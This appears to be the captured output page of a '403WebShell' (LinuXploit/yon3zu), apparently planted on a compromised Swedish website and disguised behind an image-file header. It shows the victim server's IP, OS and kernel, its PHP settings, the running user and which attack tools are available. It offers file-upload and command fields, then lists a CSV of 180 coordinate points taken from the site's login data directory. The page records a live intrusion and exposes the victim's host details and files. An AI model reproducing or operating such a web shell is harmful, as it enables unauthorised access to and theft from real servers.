????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.217.109
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/www.supervision-online.se/login/data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www.supervision-online.se/login/data/5e64c1fe021c3bfae635b85b5eece9a3.csv
ObjektId	Rubrik/Namn	Lat	Long	Beskrivning
Blge	1	6708851,346	130751,726	Blge
Blge	2	6710249,123	136740,754	Blge
Blge	3	6706672,066	131270,408	Blge
Blge	4	6696729,131	121233,52	Blge
Blge	5	6706503,798	134016,596	Blge
Blge	6	6705096,45	140022,737	Blge
Blge	7	6706882,276	131915,609	Blge
Blge	8	6706756,196	133421,217	Blge
Blge	9	6709275,694	130312,328	Blge
Blge	10	6711672,854	131567,6	Blge
Blge	11	6700819,9	128010,923	Blge
Blge	12	6708256,289	131737,957	Blge
Blge	13	6709608,627	132639,907	Blge
Blge	14	6711091,189	131744,504	Blge
Blge	15	6705483,461	134253,772	Blge
Blge	16	6710179,974	137897,862	Blge
Blge	17	6711292,924	131938,031	Blge
Blge	18	6701944,193	133783,516	Blge
Blge	19	6707578,027	133236,391	Blge
Blge	20	6706065,204	133787,578	Blge
Blge	21	6704693,351	136247,724	Blge
Blge	22	6709894,904	133746,315	Blge
Blge	23	6708514,104	131975,498	Blge
Blge	24	6710395,822	131558,284	Blge
Blge	25	6707775,797	133647,074	Blge
Blge	26	6708558,063	132507,125	Blge
Blge	27	6705276,828	130446,367	Blge
Blge	28	6707131,167	132947,64	Blge
Blge	29	6703968,262	135682,431	Blge
Blge	30	6698994,007	136688,737	Blge
Blge	31	6707167,959	130902,073	Blge
Blge	32	6707892,037	132849,609	Blge
Blge	33	6708160,925	131922,992	Blge
Blge	34	6702173,335	126649,429	Blge
Blge	35	6701987,109	136675,443	Blge
Blge	36	6714512,257	132162,398	Blge
Blge	37	6707891,554	132096,619	Blge
Blge	38	6711721,637	131007,242	Blge
Blge	39	6709034,921	130873,099	Blge
Blge	40	6708721,776	132207,159	Blge
Blge	41	6707784,653	131904,406	Blge
Blge	42	6708060,1	132668,798	Blge
Blge	43	6707678,949	131699,779	Blge
Blge	44	6699315,244	129503,257	Blge
Blge	45	6705768,405	129288,045	Blge
Blge	46	6711716,875	130446,204	Blge
Blge	47	6706639,612	134970,159	Blge
Blge	48	6699145,377	129977,977	Blge
Blge	49	6708861,517	132092,5	Blge
Blge	50	6709890,099	134061,857	Blge
Blge	51	6699873,909	130692,651	Blge
Blge	52	6707322,539	133994,882	Blge
Blge	53	6706293,846	133226,931	Blge
Blge	54	6710175,87	131506,716	Blge
Blge	55	6707872,858	130088,982	Blge
Blge	56	6706681,215	128917,387	Blge
Blge	57	6709502,598	132414,463	Blge
Blge	58	6708267,116	134777,359	Blge
Blge	59	6708285,178	132851,305	Blge
Blge	60	6708306,581	131749,986	Blge
Blge	61	6711729,306	132965,877	Blge
Blge	62	6706124,846	130955,475	Blge
Blge	63	6703487,091	135381,969	Blge
Blge	64	6705997,736	133403,532	Blge
Blge	65	6710346,769	134088,933	Blge
Blge	66	6703048,509	135583,714	Blge
Blge	67	6709687,573	132420,377	Blge
Blge	68	6709005,11	132659,916	Blge
Blge	69	6705801,567	134543,738	Blge
Blge	70	6708624,458	141146,208	Blge
Blge	71	6706316,387	129740,003	Blge
Blge	72	6708323,335	131387,318	Blge
Blge	73	6703637,087	134578,754	Blge
Blge	74	6701666,609	138500,534	Blge
Blge	75	6708045,244	130908,617	Blge
Blge	76	6709766,989	133588,715	Blge
Blge	77	6703440,175	135486,987	Blge
Blge	78	6706642,316	132142,118	Blge
Blge	79	6708945,892	130143,763	Blge
Blge	80	6702843,383	136245,962	Blge
Blge	81	6708316,031	132318,609	Blge
Blge	82	6705154,948	137670,077	Blge
Blge	83	6708252,048	132462,834	Blge
Blge	84	6711737,861	131279,655	Blge
Blge	85	6709483,158	131527,838	Blge
Blge	86	6710610,369	138472,259	Blge
Blge	87	6706888,012	135475,852	Blge
Blge	88	6710637,461	133220,623	Blge
Blge	89	6708017,276	131665,279	Blge
Blge	90	6708115,773	132490,683	Blge
Blge	91	6709018,922	135122,207	Blge
Blge	92	6705184,359	134386,407	Blge
Blge	93	6699761,653	129467,516	Blge
Blge	94	6707600,877	132751,293	Blge
Blge	95	6706702,031	134515,574	Blge
Blge	96	6707242,205	132563,356	Blge
Blge	97	6707141,092	136233,748	Blge
Blge	98	6708853,267	130565,461	Blge
Blge	99	6712144,882	130850,901	Blge
Blge	100	6704405,92	134832,159	Blge
Blge	101	6706096,73	129532,26	Blge
Blge	102	6706995,218	132143,986	Blge
Blge	103	6706981,889	132507,808	Blge
Blge	104	6710754,531	129359,424	Blge
Blge	105	6705650,793	134825,048	Blge
Blge	106	6710174,167	133484,311	Blge
Blge	107	6708460,311	131771,782	Blge
Blge	108	6706506,422	133513,215	Blge
Blge	109	6707224,198	134279,31	Blge
Blge	110	6706778,76	132935,51	Blge
Blge	111	6711955,988	131438,228	Blge
Blge	112	6710085,438	130602,423	Blge
Blge	113	6712094,855	131243,379	Blge
Blge	114	6707417,695	131089,724	Blge
Blge	115	6707679,435	133037,969	Blge
Blge	116	6700866,008	138091,065	Blge
Blge	117	6706345,184	132721,036	Blge
Blge	118	6712983,602	130740,446	Blge
Blge	119	6715132,653	131207,374	Blge
Blge	120	6712294,84	131620,347	Blge
Blge	121	6706660,96	130623,981	Blge
Blge	122	6707853,56	131168,804	Blge
Blge	123	6705459,924	133384,158	Blge
Blge	124	6710528,982	131127,449	Blge
Blge	125	6698838,611	138304,679	Blge
Blge	126	6709177,486	131639,108	Blge
Blge	127	6708400,791	132407,757	Blge
Blge	128	6713649,579	131781,007	Blge
Blge	129	6708247,419	130492,474	Blge
Blge	130	6710301,04	138188,72	Blge
Blge	131	6707261,128	129156,794	Blge
Blge	132	6708816,316	132755,122	Blge
Blge	133	6708240,471	132127,903	Blge
Blge	134	6712463,958	130972,624	Blge
Blge	135	6705932,91	128622,584	Blge
Blge	136	6706930,997	139820,188	Blge
Blge	137	6706146,207	139811,168	Blge
Blge	138	6713001,75	128211,321	Blge
Blge	139	6706625,054	130959,767	Blge
Blge	140	6709559,998	130356,03	Blge
Blge	141	6708643,992	131438,231	Blge
Blge	142	6707011,35	129378,265	Blge
Blge	143	6709808,959	134804,312	Blge
Blge	144	6708433,226	132637,301	Blge
Blge	145	6708974,156	132037,75	Blge
Blge	146	6707844,334	132431,344	Blge
Blge	147	6707131,034	132005,15	Blge
Blge	148	6706966,515	130463,694	Blge
Blge	149	6710413,193	132007,167	Blge
Blge	150	6710888,073	131096,874	Blge
Blge	151	6696173,752	121247,557	Blge
Blge	152	6708466,55	131479,433	Blge
Blge	153	6709118,503	131905,083	Blge
Blge	154	6709825,256	132066,568	Blge
Blge	155	6711250,411	128321,012	Blge
Blge	156	6709824,346	132270,962	Blge
Blge	157	6708703,724	132346,145	Blge
Blge	158	6707392,463	131443,474	Blge
Blge	159	6708289,99	132619,05	Blge
Blge	160	6702169,251	136886,605	Blge
Blge	161	6709705,299	131763,27	Blge
Blge	162	6708865,523	130379,75	Blge
Blge	163	6707157,032	132306,612	Blge
Blge	164	6695422,474	121256,678	Blge
Blge	165	6707345,567	131307,626	Blge
Blge	166	6709263,93	132452,569	Blge
Blge	167	6712006,243	130669,072	Blge
Blge	168	6710315,015	134330,47	Blge
Blge	169	6710352,775	132432,674	Blge
Blge	170	6709569,427	132212,27	Blge
Blge	171	6710163,2	134343,23	Blge
Blge	172	6710270,835	134358,851	Blge
Blge	173	6707945,242	133509,537	Blge
Blge	174	6707940,109	133374,254	Blge
Blge	175	6691513,266	119298,434	Blge
Blge	176	6703340,732	134879,36	Blge
Blge	177	6707283,745	139401,358	Blge
Blge	178	6702668,376	136596,385	Blge
Blge	179	6697860,898	129675,14	Blge
Blge	180	6705134,463	132619,327	Blge

Youez - 2016 - github.com/yon3zu
LinuXploit